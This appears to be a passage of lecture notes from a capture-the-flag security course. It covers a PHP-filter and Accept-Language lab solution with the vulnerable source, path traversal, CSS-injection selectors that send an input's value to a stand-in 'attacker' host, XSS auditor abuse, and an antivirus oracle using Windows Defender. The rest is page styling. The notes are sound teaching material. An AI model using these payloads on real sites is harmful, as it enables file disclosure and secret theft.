/app/static/../settings.py


# nginx.conf (fixed)
location /static {
  alias /app/static;
}

#### Lab Demo

- http://lab2.ais3.westerns.tokyo
- Solution
- Solve via PHP filter + `Accept-Language` header
- `GET lab2.ais3.westerns.tokyo/?page=php:/`
- `Accept-Language: /filter/convert.base64-encode/resource=flag`

<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
  direction: rtl;
}
</style>
</head>

<body>
<?php
$dir = "";
if(isset($_GET['page'])) {
	$dir = str_replace(['.', '/'], '', $_GET['page']);
}

if(empty($dir)) {
?>
<ul>
	<li><a href="/?page=tokyo">Tokyo</a></li>
	<li><del>Westerns</del></li>
	<li><a href="/?page=ctf">CTF</a></li>
</ul>
<?php
}
else {
	foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
		$l = trim(explode(";", $lang)[0]);
?>
<p<?=($l==='he')?" class=rtl":""?>>
<?php
		include "$dir/$l.php";
?>
</p>
<?php
	}
}
?>
</body>
</html>

### XSS

- Execute arbitrary JavaScript on the target domain
- Leak session cookie
- Create malicious request to restricted resources
- Mitigations for XSS
- CSP (Content Security Policy)
- XSS auditor
- (Site isolation)
- Sometimes you can leak contents without executing JavaScript

#### CSS Injection

- Sometimes website hoster set CSP on `script-src` only
- Leak content by using CSS features
- Abusing two features
- Attribute selector
- External URL import

<input value="some_secret_value"></input>

input[value^=a] { background: url(http://attacker/?a); }
input[value^=b] { background: url(http://attacker/?b); }
/* … */
input[value^=f] { background: url(http://attacker/?f); } /* hit */
input[value^=fa] { background: url(http://attacker/?a); }
input[value^=fb] { background: url(http://attacker/?b); }

### XSS Auditor Abuse

- XSS Auditor blocks content loading on Chrome for reflected XSS
- Chrome will regard the following as reflected XSS and block it from execution
- `http://.../?a=<script>var secret='1234';</script>`
-

    <html>
    …
    <script>var secret='1234';</script>
    …
    </html>

- Is it blocked if...
- `#` is appended to the end of the URL?
- it checks `onload` event?

:::info
**Looking for lab practice for this part?**
None exists anymore! The PoC could not be demoed live unless you grab an older version of Chrome thanks to Google updating its XSS auditor algorithm.
However, here's a great video on the same topic:
- https://youtu.be/HcrQy0C-hEA?t=660
:::

### AvOracle

> Also known as Anti-virus Oracle

- Presented in [WCTF2019](https://bit.ly/wctf2019-gtf)
- Auditor-based Oracle
- Abuse content auditor as oracle
- Similar to XSS auditor abuse
- [Parts of malicious data] + [parts of secrets] -> Blocked!
- Not all AV can be targeted
- Windows Defender is a special exception, as it has an intelligent engine built-in

#### How does Defender work?

- Related files: `C:\ProgramData\Microsoft\Windows Defender`
- Core files: `.\Definition Updates\{GUID}\`
- Engine: `mpengine.dll`
- Signature: `mpa{s,v}base.vdm`
- Client: `C:\Program Files\Windows Defender\MpCmdRun.exe`
- To scan file manually
- `C:\Program Files\Windows Defender\MpCmdRun.exe -Scan -ScanType 3 -File C:\path\to\file`

#### What does Defender do?

- Checks and analyzes content
- Block access if the file is malicious
- Background task
- Hooks every file access
- open/close/stat
- Delete the hooks afterwards
- an example triggering Windows Defender:

SHELLCODE = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
open('eicar.txt', 'w').write(SHELLCODE)

#### Defender doesn't cooperate sometimes

- Unexpected behavior of Windows Defender
- Timing issue
- Neutralization
- Requires multiple payload writes
- No debug information
- Hard to know why one is detected or not detected

#### Defender demo, in Linux!

**Environment Setup**

git clone https://github.com/taviso/loadlibrary
apt install gcc-multilib make cabextract
tte
cabextract ./mpam-fe.exe

- Scan file with...
- `./mpclient <file>`

<!-- -->

<style>
/* fix mathjax rwd scroll
* #Research-direction > simple model
*/
ul > li > .mathjax {
overflow-x: scroll;
overflow-y: hidden;
overflow-wrap: break-word;
display: inline-block;
}
#doc > ul:nth-child(38) > li:nth-child(4) > ul > li > .mathjax {
width: 100%;
}

/* Dark mode */

/* <!-- todo: fix highlight.js blocks; some code blocks do not render correctly --> */

.navbar-default {
background-color: #091a22;
}
.navbar-default .navbar-brand,
.ui-infobar {
color: #ebebeb;
}

body {
background-color: #23272a !important;
}

.ui-view-area {
background: #23272a;
color: #ddd;
}

.ui-toc-dropdown {
background-color: #23272A;
border: 1px solid rgba(255,255,255,.15);
box-shadow: 0 6px 12px rgba(255,255,255,.175);
}

.ui-toc-dropdown .nav > li > a {
color: #ccc;
}

.ui-toc-dropdown .nav > .active:focus > a,
.ui-toc-dropdown .nav > .active:hover > a,
.ui-toc-dropdown .nav > .active > a {
color: #bbb;
}

.ui-toc .open .ui-toc-label {
color: #777;
}

table * {
background-color: #424242;
color: #c0c0c0
}

button,
a {
color: #64B5F6;
}

a:hover,
a:focus {
color: #2196F3;
}

a.disable,
a.disable:hover {
color: #EEEEEE;
}

/* Dark mode code block */
/* Imported from titangene/hackmd-dark-theme */

.markdown-body pre {
background-color: #1e1e1e;
border: 1px solid #555 !important;
color: #dfdfdf;
font-weight: 600;
}
.token.operator, .token.entity,
.token.url, .language-css .token.string,
.style .token.string {
background: unset;
}

/* Dark mode alert boxes */

.alert-info {
color: #f3fdff;
background: #40788A;
border-color: #2F7A95;
}

.alert-warning {
color: #fffaf2;
background: #936C36;
border-color: #AE8443;
}

.alert-danger {
color: #fff4f4;
background: #834040;
border-color: #8C2F2F
}

.alert-success {
color: #F4FFF2;
background-color: #436643;
border-color: #358A28;
}

/* Stylized alert boxes */

.alert-danger>p::before {
content: "❌ Dangerous\A";
}

.alert-warning>p::before {
content: "⚠ Warning\A";
}

.alert-info>p::before {
content: "ℹ Information\A";
}

.alert-warning>p::before,
.alert-danger>p::before,
.alert-info>p::before {
white-space: pre;
font-weight: bold;
}

</style>

<style>
/*
* Visual Studio 2015 dark style
* Author: Nicolas LLOBERA <[e-mail]>
*/

.hljs {
display: block;
overflow-x: auto;
padding: 0.5em;
background: #1E1E1E;
color: #DCDCDC;
}

.hljs-keyword,
.hljs-literal,
.hljs-symbol,
.hljs-name {
color: #569CD6;
}
.hljs-link {
color: #569CD6;
text-decoration: underline;
}

.hljs-built_in,
.hljs-type {
color: #4EC9B0;
}

.hljs-number,
.hljs-class {
color: #B8D7A3;
}

.hljs-string,
.hljs-meta-string {
color: #D69D85;
}

.hljs-regexp,
.hljs-template-tag {
color: #9A5334;
}

.hljs-subst,
.hljs-function,
.hljs-title,
.hljs-params,
.hljs-formula {
color: #DCDCDC;
}

.hljs-comment,
.hljs-quote {
color: #57A64A;
font-style: italic;
}

.hljs-doctag {
color: #608B4E;
}

.hljs-meta,
.hljs-meta-keyword,
.hljs-tag {
color: #9B9B9B;
}

.hljs-variable,
.hljs-template-variable {
color: #BD63C5;
}

.hljs-attr,
.hljs-attribute,
.hljs-builtin-name {
color: #9CDCFE;
}

.hljs-section {
color: gold;
}

.hljs-emphasis {
font-style: italic;
}

.hljs-strong {
font-weight: bold;
}

/*.hljs-code {
font-family:'Monospace';
}*/

.hljs-bullet,
.hljs-selector-tag,
.hljs-selector-id,
.hljs-selector-class,
.hljs-selector-attr,
.hljs-selector-pseudo {
color: #D7BA7D;
}

.hljs-addition {
background-color: #144212;
display: inline-block;
width: 100%;
}

.hljs-deletion {
background-color: #600;
display: inline-block;
width: 100%;
}

span.hidden-xs:after {
content: ' × AIS3' !important;
}
</style>